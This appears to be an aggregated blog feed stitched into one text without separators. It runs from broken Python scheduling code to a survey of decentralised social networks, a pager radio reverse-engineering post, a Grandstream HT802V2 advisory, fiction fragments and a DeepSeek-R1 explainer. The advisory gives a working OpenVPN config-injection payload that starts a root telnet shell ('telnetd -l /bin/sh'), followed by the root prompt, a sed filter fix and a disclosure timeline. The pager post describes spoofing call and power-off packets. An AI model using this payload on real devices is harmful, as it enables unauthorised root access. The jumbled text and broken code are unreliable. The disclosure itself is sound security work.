                 tuplesize = 3) ),
         ( x01, nps.cat(y_lowerbound_check, y_upperbound_check),
           dict( _with     = 'lines lc "green" lw 2',
                 tuplesize = 2) ),
        unset=('grid'),
        _set = (f'xtics ("(Nshifts<= Nshifts_leq ) == 0" 0, "(Nshifts<= Nshifts_leq ) == 1" 1)',
                'style fill transparent pattern 1'),
        _xrange = (-0.1, 1.1),
        ylabel = "Nshifts",
        title = "Nshifts inequality variable: linearly separable",
        hardcopy = "/tmp/scheduling-Nshifts-leq.svg")

# I want to favor people getting more extra shifts at the start to balance
# things out: somebody getting one more shift on their pile shouldn't take
# shifts away from under-utilized people
benefit_boost_leq_bound = \
     2: .2,
     3: .3,
     4: .4,
     5: .5 
# Constrain vars_Nshifts_leq variables to do the right thing
for h in humans:
    for b in benefit_boost_leq_bound.keys():
        prob += (pulp.lpSum([vars[h][s] for s in shifts.keys()])
                 >= (1 - vars_Nshifts_leq[h][b])*(b+1),
                 f" h  at least  b  shifts: lower bound")
        prob += (pulp.lpSum([vars[h][s] for s in shifts.keys()])
                 <= Nshifts_max - vars_Nshifts_leq[h][b]*(Nshifts_max-b),
                 f" h  at least  b  shifts: upper bound")
benefits = dict()
for h in humans:
    benefits[h] = \
        ... + \
        pulp.lpSum([vars_Nshifts_leq[h][b] * benefit_boost_leq_bound[b] \
                    for b in benefit_boost_leq_bound.keys()])

Comparison of architecture and mainstream adoption potential

Protocol	Identity System	Example	Storage model	Cost for end users	Potential
Mastodon	Tied to server domain	@ottok@mastodon.social	Federated instances	Free (some instances charge)	High
Bluesky	Portable (DID)	ottoke.bsky.social	Federated instances	Free	Moderate
Farcaster	ENS (Ethereum)	@ottok	Blockchain + off-chain	Small gas fees	Moderate
Lens	NFT-based (Polygon)	@ottok	Blockchain + off-chain	Small gas fees	Niche
Nostr	Cryptographic Keys	npub16lc6uhqpg6dnqajylkhwuh3j7ynhcnje508tt4v6703w9kjlv9vqzz4z7f	Federated instances	Free (some instances charge)	Niche

1. Mastodon (ActivityPub) Mastodon was created in 2016 by Eugen Rochko, a German software developer who sought to provide a decentralized and user-controlled alternative to Twitter. It was built on the ActivityPub protocol, now standardized by W3C Social Web Working Group, to allow users to join independent servers while still communicating across the broader Mastodon network. Mastodon operates on a federated model, where multiple independently run servers communicate via ActivityPub. Each server sets its own moderation policies, leading to a decentralized but fragmented experience. The servers can alternatively be called instances, relays or nodes, depending on what vocabulary a protocol has standardized on.

• Identity: User identity is tied to the instance where they registered, represented as @username@instance.tld.
• Storage: Data is stored on individual instances, which federate messages to other instances based on their configurations.
• Cost: Free to use, but relies on instance operators willing to run the servers.

The protocol defines multiple activities such as:

• Creating a post
• Liking
• Sharing
• Following
• Commenting

Example Message in ActivityPub (JSON-LD Format)

json Copy

"@context": "https://www.w3.org/ns/activitystreams", "type": "Create", "actor": "https://mastodon.social/users/ottok", "object": "type": "Note", "content": "Hello from #Mastodon!", "published": "2025-03-03T12:00:00Z", "to": ["https://www.w3.org/ns/activitystreams#Public"]

 
 "@context": "https://www.w3.org/ns/activitystreams",
 "type": "Create",
 "actor": "https://mastodon.social/users/ottok",
 "object":  
 "type": "Note",
 "content": "Hello from #Mastodon!",
 "published": "2025-03-03T12:00:00Z",
 "to": ["https://www.w3.org/ns/activitystreams#Public"]
  
 

Servers communicate across different platforms by publishing activities to their followers or forwarding activities between servers. Standard HTTPS is used between servers for communication, and the messages use JSON-LD for data representation. The WebFinger protocol is used for user discovery. There is however no neat way for home server discovery yet. This means that if you are browsing e.g. Fosstodon and want to follow a user and press Follow, a dialog will pop up asking you to enter your own home server (e.g. mastodon.social) to redirect you there for actually executing the Follow action on with your account. Mastodon is open source under the AGPL at github.com/mastodon/mastodon. Anyone can operate their own instance. It just requires to run your own server and some skills to maintain a Ruby on Rails app with a PostgreSQL database backend, and basic understanding of the protocol to configure federation with other ActivityPub instances.

Popularity: Already established, but will it grow more? Mastodon has seen steady growth, especially after Twitter s acquisition in 2022, with some estimates stating it peaked at 10 million users across thousands of instances. However, its fragmented user experience and the complexity of choosing instances have hindered mainstream adoption. Still, it remains the most established decentralized alternative to Twitter. Note that Donald Trump s Truth Social is based on the Mastodon software but does not federate with the ActivityPub network. The ActivityPub protocol is the most widely used of its kind. One of the other most popular services is the Lemmy link sharing service, similar to Reddit. The larger ecosystem of ActivityPub is called Fediverse, and estimates put the total active user count around 6 million.

2. Bluesky (AT Protocol) Interestingly, Bluesky was conceived within Twitter in 2019 by Twitter founder Jack Dorsey. After being incubated as a Twitter-funded project, it spun off as an independent Public Benefit LLC in February 2022 and launched its public beta in February 2023. Bluesky runs on top of the Authenticated Transfer (AT) Protocol published at https://github.com/bluesky-social/atproto. The protocol enables portable identities and data ownership, meaning users can migrate between platforms while keeping their identity and content intact. In practice, however, there is only one popular server at the moment, which is Bluesky itself.

• Identity: Usernames are domain-based (e.g., @user.bsky.social).
• Storage: Content is theoretically federated among various servers.
• Cost: Free to use, but relies on instance operators willing to run the servers.

Example Message in AT Protocol (JSON Format)

json Copy

"repo": "did:plc:ottoke.bsky.social", "collection": "app.bsky.feed.post", "record": "$type": "app.bsky.feed.post", "text": "Hello from Bluesky!", "createdAt": "2025-03-03T12:00:00Z", "langs": ["en"]

 
 "repo": "did:plc:ottoke.bsky.social",
 "collection": "app.bsky.feed.post",
 "record":  
 "$type": "app.bsky.feed.post",
 "text": "Hello from Bluesky!",
 "createdAt": "2025-03-03T12:00:00Z",
 "langs": ["en"]
  
 

Popularity: Hybrid approach may have business benefits? Bluesky reported over 3 million users by 2024, probably getting traction due to its Twitter-like interface and Jack Dorsey s involvement. Its hybrid approach decentralized identity with centralized components could make it a strong candidate for mainstream adoption, assuming it can scale effectively.

3. Warpcast (Farcaster Network) Farcaster was launched in 2021 by Dan Romero and Varun Srinivasan, both former crypto exchange Coinbase executives, to create a decentralized but user-friendly social network. Built on the Ethereum blockchain, it could potentially offer a very attack-resistant communication medium. However, in my own testing, Farcaster does not seem to fully leverage what Ethereum could offer. First of all, there is no diversity in programs implementing the protocol as at the moment there is only Warpcast. In Warpcast the signup requires an initial 5 USD fee that is not payable in ETH, and users need to create a new wallet address on the Ethereum layer 2 network Base instead of simply reusing their existing Ethereum wallet address or ENS name. Despite this, I can understand why Farcaster may have decided to start out like this. Having a single client program may be the best strategy initially. One of the decentralized chat protocol Matrix founders, Matthew Hodgson, shared in his FOSDEM 2025 talk that he slightly regrets focusing too much on developing the protocol instead of making sure the app to use it is attractive to end users. So it may be sensible to ensure Warpcast gets popular first, before attempting to make the Farcaster protocol widely used. As a protocol Farcaster s hybrid approach makes it more scalable than fully on-chain networks, giving it a higher chance of mainstream adoption if it integrates seamlessly with broader Web3 ecosystems.

• Identity: ENS (Ethereum Name Service) domains are used as usernames.
• Storage: Messages are stored in off-chain hubs, while identity is on-chain.
• Cost: Users must pay gas fees for some operations but reading and posting messages is mostly free.

Example Message in Farcaster (JSON Format)

json Copy

"fid": 766579, "username": "ottok", "custodyAddress": "0x127853e48be3870172baa4215d63b6d815d18f21", "connectedWallet": "0x3ebe43aa3ae5b891ca1577d9c49563c0cee8da88", "text": "Hello from Farcaster!", "publishedAt": 1709424000, "replyTo": null, "embeds": []

 
 "fid": 766579,
 "username": "ottok",
 "custodyAddress": "0x127853e48be3870172baa4215d63b6d815d18f21",
 "connectedWallet": "0x3ebe43aa3ae5b891ca1577d9c49563c0cee8da88",
 "text": "Hello from Farcaster!",
 "publishedAt": 1709424000,
 "replyTo": null,
 "embeds": []
 

Popularity: Decentralized social media + decentralized payments a winning combo? Ethereum founder Vitalik Buterin (warpcast.com/vbuterin) and many core developers are active on the platform. Warpcast, the main client for Farcaster, has seen increasing adoption, especially among Ethereum developers and Web3 enthusiasts. I too have an profile at warpcast.com/ottok. However, the numbers are still very low and far from reaching network effects to really take off. Blockchain-based social media networks, particularly those built on Ethereum, are compelling because they leverage existing user wallets and persistent identities while enabling native payment functionality. When combined with decentralized content funding through micropayments, these blockchain-backed social networks could offer unique advantages that centralized platforms may find difficult to replicate, being decentralized both as a technical network and in a funding mechanism.

4. Hey.xyz (Lens Network) The Lens Protocol was developed by decentralized finance (DeFi) team Aave and launched in May 2022 to provide a user-owned social media network. While initially built on Polygon, it has since launched its own Layer 2 network called the Lens Network in February 2024. Lens is currently the main competitor to Farcaster. Lens stores profile ownership and references on-chain, while content is stored on IPFS/Arweave, enabling composability with DeFi and NFTs.

• Identity: Profile ownership is tied to NFTs on the Polygon blockchain.
• Storage: Content is on-chain and integrates with IPFS/Arweave (like NFTs).
• Cost: Users must pay gas fees for some operations but reading and posting messages is mostly free.

Example Message in Lens (JSON Format)

json Copy

"profileId": "@ottok", "contentURI": "ar://QmExampleHash", "collectModule": "0x23b9467334bEb345aAa6fd1545538F3d54436e96", "referenceModule": "0x0000000000000000000000000000000000000000", "timestamp": 1709558400

 
 "profileId": "@ottok",
 "contentURI": "ar://QmExampleHash",
 "collectModule": "0x23b9467334bEb345aAa6fd1545538F3d54436e96",
 "referenceModule": "0x0000000000000000000000000000000000000000",
 "timestamp": 1709558400
 

Popularity: Probably not as social media site, but maybe as protocol? The social media side of Lens is mainly the Hey.xyz website, which seems to have fewer users than Warpcast, and is even further away from reaching critical mass for network effects. The Lens protocol however has a lot of advanced features and it may gain adoption as the building block for many Web3 apps.

5. Primal.net (Nostr Network) Nostr (Notes and Other Stuff Transmitted by Relays) was conceptualized in 2020 by an anonymous developer known as fiatjaf. One of the primary design tenets was to be a censorship-resistant protocol and it is popular among Bitcoin enthusiasts, with Jack Dorsey being one of the public supporters. Unlike the Farcaster and Lens protocols, Nostr is not blockchain-based but just a network of relay servers for message distribution. If does however use public key cryptography for identities, similar to how wallets work in crypto.

• Identity: Public-private key pairs define identity (with prefix npub...).
• Storage: Content is federated among multiple servers, which in Nostr vocabulary are called relays.
• Cost: No gas fees, but relies on relay operators willing to run the servers.

Example Message in Nostr (JSON Format)

json Copy

"id": "note1xyz...", "pubkey": "npub1...", "kind": 1, "content": "Hello from Nostr!", "created_at": 1709558400, "tags": [], "sig": "sig1..."

 
 "id": "note1xyz...",
 "pubkey": "npub1...",
 "kind": 1,
 "content": "Hello from Nostr!",
 "created_at": 1709558400,
 "tags": [],
 "sig": "sig1..."
 

Popularity: If Jack Dorsey and Bitcoiners promote it enough? Primal.net as a web app is pretty solid, but it does not stand out much. While Jack Dorsey has shown support by donating $1.5 million to the protocol development in December 2021, its success likely depends on broader adoption by the Bitcoin community.

Will any of these replace X/Twitter? As usage patterns vary, the statistics are not fully comparable, but this overview of the situation in March 2025 gives a decent overview.

Platform	Total Accounts	Active Users	Growth Trend
Mastodon	~10 million	~1 million	Steady
Bluesky	~33 million	~1 million	Steady
Nostr	~41 million	~20 thousand	Steady
Farcaster	~850 thousand	~50 thousand	Flat
Lens	~140 thousand	~20 thousand	Flat

Mastodon and Bluesky have already reached millions of users, while Lens and Farcaster are growing within crypto communities. It is however clear that none of these are anywhere close to how popular X/Twitter is. In particular, Mastodon had a huge influx of users in the fall of 2022 when Twitter was acquired, but to challenge the incumbents the growth would need to significantly accelerate. We can all accelerate this development by embracing decentralized social media now alongside existing dominant platforms. Who knows, given the right circumstances maybe X.com leadership decides to change the operating model and start federating contents to break out from a walled garden model. The likelyhood of such development would increase if decentralized networks get popular, and the encumbents feel they need to participate to not lose out.

Past and future The idea of decentralized social media is not new. One early pioneer identi.ca launched in 2008, only two years after Twitter, using the OStatus protocol to promote decentralization. A few years later it evolved into pump.io with the ActivityPump protocol, and also forked into GNU Social that continued with OStatus. I remember when these happened, and that in 2010 also Diaspora launched with fairly large publicity. Surprisingly both of these still operate (I can still post both on identi.ca and diasp.org), but the activity fizzled out years ago. The protocol however survived partially and evolved into ActivityPub, which is now the backbone of the Fediverse. The evolution of decentralized social media over the next decade will likely parallel developments in democracy, freedom of speech and public discourse. While the early 2010s emphasized maximum independence and freedom, the late 2010s saw growing support for content moderation to combat misinformation. The AI era introduces new challenges, potentially requiring proof-of-humanity verification for content authenticity. Key factors that will determine success:

• User experience and ease of onboarding
• Network effects and critical mass of users
• Integration with existing web3 infrastructure
• Balance between decentralization and usability
• Sustainable economic models for infrastructure

This is clearly an area of development worth monitoring closely, as the next few years may determine which protocol becomes the de facto standard for decentralized social communication.

By Hand Demodulation Going off the same premise as last time, I figured i d give it a manual demod and see what shakes out (again). This is now the third time i ve run this play, so check out either of my prior two posts for a better written description of what s going on here I ll skip all the details since i d just be copy-pasting from those posts into here. Long story short, I demodulated a call for pager 1, call for pager 10, and a power off command.

What	Bits
Call 1	1101111111100100100000000
Call 10	1101111111100100010100000
Off	1101111111100111101101110

A few things jump out at me here the first 14 bits are fixed (in my case, 11011111111001), which means some mix of preamble, system id, or other system-wide constant. Additionally, The last 9 bits also look like they are our pager the 1 and 10 pager numbers (LSB bit order) jump right out (100000000 and 010100000, respectively). That just leaves the two remaining bits which look to be the action 00 for a Call , and 11 for a Power off . I don t super love this since command has two bits rather than one, the base station ID seems really long, and a 9-bit Pager ID is just weird. Also, what is up with that power-off pager id? Weird. So, let s go and see what we can do to narrow down and confirm things by hand.

Testing bit flips Rather than call it a day at that, I figure it s worth a bit of diligence to make sure it s all correct so I figured we should try sending packets to my pagers and see how they react to different messages after flipping bits in parts of the packet. I implemented a simple base station for the pagers using my Ettus B210mini, and threw together a simple OOK modulator and transmitter program which allows me to send specifically crafted test packets on frequency. Implementing the base station is pretty straightforward, because of the modulation of the signal (OOK), it s mostly a matter of setting a buffer to 1 and 0 for where the carrier signal is on or off timed to the sample rate, and sending that off to the radio. If you re interested in a more detailed writeup on the steps involved, there s a bit more in my christmas tree post. First off, I d like to check the base id. I want to know if all the bits in what I m calling the base id are truly part of the base station ID, or perhaps they have some other purpose (version, preamble?). I wound up following a three-step process for every base station id:

• Starting with an unmodified call packet for the pager under test:
  • Flip the Nth bit, and transmit the call. See if the pager reacts.
  • Hold SET , and pair the pager with the new packet.
  • Transmit the call. See if the pager reacts.
  • After re-setting the ID, transmit the call with the physical base station, see if the pager reacts.
• Starting with an unmodified off packet for the pager system
• Flip the Nth bit, transmit the off, see if the pager reacts.

What wound up happening is that changing any bit in the first 14 bits meant that the packet no longer worked with any pager until it was re-paired, at which point it begun to work again. This likely means the first 14 bits are part of the base station ID and not static between base stations, or some constant like a version or something. All bits appear to be used. I repeated the same process with the command bits, and found that only 11 and 00 caused the pagers to react for the pager ids i ve tried. I repeated this process one last time with the pager id bits this time, and found the last bit in the packet isn t part of the pager ID, and can be either a 1 or a 0 and still cause the pager to react as if it were a 0. This means that the last bit is unknown but it has no impact on either a power off or call, and all messages sent by my base station always have a 0 set. It s not clear if this is used by anything likely not since setting a bit there doesn t result in any change of behavior I can see yet.

Final Packet Structure After playing around with flipping bits and testing, the final structure I was able to come up with based on behavior I was able to observe from transmitting hand-crafted packets and watching pagers buzz:

base id

command

pager id

???

Commands The command section bit comes in two flavors either a call or an off command.

Type	Id (2 bits)	Description
Call	00	Call the pager identified by the id in pager id
Off	11	Request pagers power off, pager id is always 10110111

As for the actual RF PHY characteristics, here s my best guesses at what s going on with them:

What	Description
Center Frequency	433.92 MHz
Modulation	OOK
Symbol Duration	1300us
Bits	25
Preamble	325us of carrier, followed by 8800us of no carrier

I m not 100% on the timings, but they appear to be close enough to work reliabily. Same with the center frequency, it s roughly right but there may be a slight difference i m missing.

Lingering Questions This was all generally pretty understandable another system that had some good decisions, and wasn t too bad to reverse engineer. This was a bit more fun to do, since there was a bit more ambiguity here, but still not crazy. At least this one was a bit more ambiguous that needed a bit of followup to confirm things, which made it a bit more fun. I am left with a few questions, though which I m kinda interested in understanding, but I ll likely need a lot more data and/or original source: Why is the command two bits here? This was a bit tough to understand because of the number of bits they have at their disposal given the one last bit at the end of the packet that doesn t seem to do anything, there s no reason this couldn t have been a 16 bit base station id, and an 8 bit pager id along with a single bit command (call or off). When sending an off why is power off that bit pattern? Other pager IDs don t seem to work with off , so it has some meaning, but I m not sure what that is. You press and hold 9 on the physical base station, but the code winds up coming out to 0xED, 237 or maybe -19 if it s signed. I can t quite figure out why it s this value. Are there other codes? Finally what s up with the last bit? Why is it 25 bits and not 24? It must take more work to process something that isn t 8 bit aligned and all for something that s not being used!

echo "$(nvram get 8460)"   sed 's/;/\n/g' >> $ CONF_FILE 

echo "$(nvram get 8460)"   sed -e 's/;/\n/g'   sed -e '/script-security/d' -e '/^[ ]*down /d' -e '/^[ ]*up /d' -e '/^[ ]*learn-address /d' -e '/^[ ]*tls-verify /d' -e '/^[ ]*client-[dis]*connect /d' -e '/^[ ]*route-up/d' -e '/^[ ]*route-pre-down /d' -e '/^[ ]*auth-user-pass-verify /d' -e '/^[ ]*ipchange /d' >> $ CONF_FILE 

up "/bin/ash -c 'telnetd -l /bin/sh -p 1271'"

"up" "/bin/ash -c 'telnetd -l /bin/sh -p 1271'"

# grep -E '(up script-security)' /etc/openvpn.conf
up /etc/openvpn/openvpn.up
up-restart
;group nobody
script-security 2
"up" "/bin/ash -c 'telnetd -l /bin/sh -p 1271'"

/ # uname -a
Linux HT8XXV2 4.4.143 #108 SMP PREEMPT Mon May 13 18:12:49 CST 2024 armv7l GNU/Linux
/ # id
uid=0(root) gid=0(root)

• HT802V2 running 1.0.3.5 (and any other release older than 1.0.3.10), as that's what I have tested
• Most probably also other HT8xxV2, as they use the same firmware
• Most probably also HT8xx(V1), as their /etc/rc.d/init.d/openvpn looks very similar, according to firmware dumps

echo "$(nvram get 8460)"   sed -e 's/;/\n/g' \
                           sed -e '/script-security/d' \
                               -e '/^["'\'' \f\v\r\n\t]*down["'\'' \f\v\r\n\t]/d' \
                               -e '/^["'\'' \f\v\r\n\t]*up["'\'' \f\v\r\n\t]/d' \
                               -e '/^["'\'' \f\v\r\n\t]*learn-address["'\'' \f\v\r\n\t]/d' \
                               -e '/^["'\'' \f\v\r\n\t]*tls-verify["'\'' \f\v\r\n\t]/d' \
                               -e '/^["'\'' \f\v\r\n\t]*tls-crypt-v2-verify["'\'' \f\v\r\n\t]/d' \
                               -e '/^["'\'' \f\v\r\n\t]*client-[dis]*connect["'\'' \f\v\r\n\t]/d' \
                               -e '/^["'\'' \f\v\r\n\t]*route-up["'\'' \f\v\r\n\t]/d' \
                               -e '/^["'\'' \f\v\r\n\t]*route-pre-down["'\'' \f\v\r\n\t]/d' \
                               -e '/^["'\'' \f\v\r\n\t]*auth-user-pass-verify["'\'' \f\v\r\n\t]/d' \
                               -e '/^["'\'' \f\v\r\n\t]*ipchange["'\'' \f\v\r\n\t]/d' >> $ CONF_FILE 

• 2024-12-29 Reported to Grandstream PSIRT via mail
• 2025-01-11 Pinged via form on grandstream.com
• 2025-01-13 Got a reply that they didn't get the initial submission, re-sent
• 2025-01-14 Confirmation that the re-sent submission was received
• 2025-01-21 Notification that firmware 1.0.3.10 (marked as beta) for HT802V2 was released with a fix
• 2025-02-12 1.0.3.10 is marked as "official" (aka "stable")

SANTO'S, the sign read. Under it, in smaller letters, was CURIOSITIES AND INCONVENIENCES FOR COMMENDABLE SUMS. "Inconveniences sound just like my thing," Fergus said. "You two want to wait in the car while I check it out?" "Oh, no, I am not missing this," Isla said, and got out of the podcar. "I am uncertain," Ignatio said. "I would like some curiouses, but not any inconveniences. Please proceed while I decide, and if there is also murdering or calamity or raisins, you will yell right away, yes?"

"It is a door. A doorbell. A... peephole? A key. A control light. A signal. A stop-and-go sign. A road. A bridge. A beacon. A call. A map. A channel. A way," Ignatio said. "It is a problem to explain. To say a doorkey is best, and also wrong. If put together, a path may be opened." "And then?" "And then the bad things on the other side, who we were trying to lock away, will be free to travel through."

"When I am adding a new skill, I import diagnostic and environmental information specific to my platform and topology, segregate the skill subroutines to a dedicated, protected logical space, run incremental testing on integration under all projected scenarios and variables, and then when I am persuaded the code is benevolent, an asset, and provides the functionality I was seeking, I roll it into my primary processing units," Whiro said. "You cannot do any of that, because if I may speak in purely objective terms you may incorrectly interpret as personal, you are made of squishy, unreliable goo."

Intelligence as an emergent property of Reinforcement Learning (RL)Reinforcement Learning (RL) has been successfully used in the past by Google&aposs DeepMind team to build highly intelligent and specialized systems where intelligence is observed as an emergent property through rewards-based training approach that yielded achievements like AlphaGo (see my post on it here - AlphaGo: a journey to machine intuition).DeepMind went on to build a series of Alpha* projects that achieved many notable feats using RL:

• AlphaGo, defeated the world champion Lee Seedol in the game of Go
• AlphaZero, a generalized system that learned to play games such as Chess, Shogi and Go without human input
• AlphaStar, achieved high performance in the complex real-time strategy game StarCraft II.
• AlphaFold, a tool for predicting protein structures which significantly advanced computational biology.
• AlphaCode, a model designed to generate computer programs, performing competitively in coding challenges.
• AlphaDev, a system developed to discover novel algorithms, notably optimizing sorting algorithms beyond human-derived methods.

All of these systems achieved mastery in its own area through self-training/self-play and by optimizing and maximizing the cumulative reward over time by interacting with its environment where intelligence was observed as an emergent property of the system.

The RL feedback loop

RL mimics the process through which a baby would learn to walk, through trial, error and first principles.

R1 model training pipelineAt a technical level, DeepSeek-R1 leverages a combination of Reinforcement Learning (RL) and Supervised Fine-Tuning (SFT) for its training pipeline:

DeepSeek-R1 Model Training Pipeline

Using RL and DeepSeek-v3, an interim reasoning model was built, called DeepSeek-R1-Zero, purely based on RL without relying on SFT, which demonstrated superior reasoning capabilities that matched the performance of OpenAI&aposs o1 in certain benchmarks such as AIME 2024.The model was however affected by poor readability and language-mixing and is only an interim-reasoning model built on RL principles and self-evolution.DeepSeek-R1-Zero was then used to generate SFT data, which was combined with supervised data from DeepSeek-v3 to re-train the DeepSeek-v3-Base model.The new DeepSeek-v3-Base model then underwent additional RL with prompts and scenarios to come up with the DeepSeek-R1 model.The R1-model was then used to distill a number of smaller open source models such as Llama-8b, Qwen-7b, 14b which outperformed bigger models by a large margin, effectively making the smaller models more accessible and usable.

Key contributions of DeepSeek-R1

1. RL without the need for SFT for emergent reasoning capabilities

R1 was the first open research project to validate the efficacy of RL directly on the base model without relying on SFT as a first step, which resulted in the model developing advanced reasoning capabilities purely through self-reflection and self-verification.Although, it did degrade in its language capabilities during the process, its Chain-of-Thought (CoT) capabilities for solving complex problems was later used for further RL on the DeepSeek-v3-Base model which became R1. This is a significant contribution back to the research community.The below analysis of DeepSeek-R1-Zero and OpenAI o1-0912 shows that it is viable to attain robust reasoning capabilities purely through RL alone, which can be further augmented with other techniques to deliver even better reasoning performance.

Source: https://github.com/deepseek-ai/DeepSeek-R1

Its quite interesting, that the application of RL gives rise to seemingly human capabilities of "reflection", and arriving at "aha" moments, causing it to pause, ponder and focus on a specific aspect of the problem, resulting in emergent capabilities to problem-solve as humans do.

2. Model distillation

DeepSeek-R1 also demonstrated that larger models can be distilled into smaller models which makes advanced capabilities accessible to resource-constrained environments, such as your laptop. While its not possible to run a 671b model on a stock laptop, you can still run a distilled 14b model that is distilled from the larger model which still performs better than most publicly available models out there. This enables intelligence to be brought closer to the edge, to allow faster inference at the point of experience (such as on a smartphone, or on a Raspberry Pi), which paves way for more use cases and possibilities for innovation.

Source: https://github.com/deepseek-ai/DeepSeek-R1

Distilled models are very different to R1, which is a massive model with a completely different model architecture than the distilled variants, and so are not directly comparable in terms of capability, but are instead built to be more smaller and efficient for more constrained environments. This technique of being able to distill a larger model&aposs capabilities down to a smaller model for portability, accessibility, speed, and cost will bring about a lot of possibilities for applying artificial intelligence in places where it would have otherwise not been possible. This is another key contribution of this technology from DeepSeek, which I believe has even further potential for democratization and accessibility of AI.

Why is this moment so significant?DeepSeek-R1 was a pivotal contribution in many ways.

1. The contributions to the state-of-the-art and the open research helps move the field forward where everybody benefits, not just a few highly funded AI labs building the next billion dollar model.
2. Open-sourcing and making the model freely available follows an asymmetric strategy to the prevailing closed nature of much of the model-sphere of the larger players. DeepSeek should be commended for making their contributions free and open.
3. It reminds us that its not just a one-horse race, and it incentivizes competition, which has already resulted in OpenAI o3-mini a cost-effective reasoning model which now shows the Chain-of-Thought reasoning. Competition is a good thing.
4. We stand at the cusp of an explosion of small-models that are hyper-specialized, and optimized for a specific use case that can be trained and deployed cheaply for solving problems at the edge. It raises a lot of exciting possibilities and is why DeepSeek-R1 is one of the most pivotal moments of tech history.

Truly exciting times. What will you build?